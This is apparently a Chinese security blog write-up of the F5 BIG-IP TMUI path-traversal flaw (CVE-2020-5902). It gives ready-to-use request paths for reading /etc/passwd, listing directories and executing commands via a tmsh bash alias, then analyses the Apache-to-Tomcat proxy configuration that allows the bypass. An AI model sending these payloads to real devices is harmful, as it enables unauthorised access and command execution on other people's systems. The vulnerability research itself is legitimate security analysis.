前言

最近老看到的名字很奇怪的软件,简单看一下,不深入。


环境搭建

对这款软件有过了解的师傅可以自行搭建,像我这样之前完全没听过这个名字的菜鸡,参考的是这篇文章,因为我自己注册账号下载的时候被拒绝了,所以直接使用的是文章给出的账号密码去下载的虚拟机,然后将 ova 文件拖入 Vmware 启动虚拟机,修改密码完成环境搭建。

漏洞利用 1

来自参考文章,其实就是越权访问了危险操作的接口,文件读取:

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

列目录:

/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

命令执行:

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create cli alias private list command bash
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list /tmp/cmd

漏洞分析 1

在阅读源码之前,先理一下软件结构,首先看看端口监听情况:

[root@localhost:NO LICENSE:Standalone] modules # netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
...
tcp6       0      0 :::443                  :::*                    LISTEN      4202/httpd
...

可以注意到,我们使用 HTTPS 协议访问它的 web 界面时,处理请求的其实是 Apache,所以这里其实是一个 Apache 代理 Tomcat 的结构,Apache 的配置文件可以在 /config/httpd 下面找到,其中有两个重要的配置文件,httpd.conf 和 proxy_ajp.conf,在 httpd.conf 文件里面有用户鉴权相关的配置,里面有这样一句注释:

#
# This is the location of the external APIs used by clients.
#
# The mod_auth_pam and mod_f5_auth_cookie packages have been modified
# to recognize URLs under this path and perform standard Basic
# authentication (rather than forward to the UI login page).
#

所以我们将这两个 Apache 扩展下载到本地,可以用 IDA 打开进行分析(但是 C++ 加上 Apache 函数,挺难看的),可以发现权限校验就是由 Apache 完成的,session 文件存放在 /var/run/pamcache/ 目录下,大致内容如下:

2
192.168.3.20
admin
0
/bin/false

Thu Jul 23 14:08:41 2020
[All]
Administrator
eOTD2tjVa3AqazzBP3VCBZHe
17
1200

包括用户名、IP、权限等等数据,权限校验完成后,Apache 就会将请求发送给 Tomcat,可以看 proxy_apj.conf:

ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5

所以只要 Apache 认为请求符合权限,就可以越权访问 Tomcat 的接口,Java 项目源码可以在 /usr/local/www/tmui 目录下找到。

而 Apache/Nginx 和 Tomcat 因为解析不同出问题已经不少见了,18 年就见过一次。

漏洞利用 2

hqsldb 容易受到反序列化攻击:https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902


参考文章:

https://xz.aliyun.com/t/8008

https://www.anquanke.com/post/id/210706

https://paper.seebug.org/1271


Web BIGIP

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-015
struts2系列漏洞 S2-013/S2-014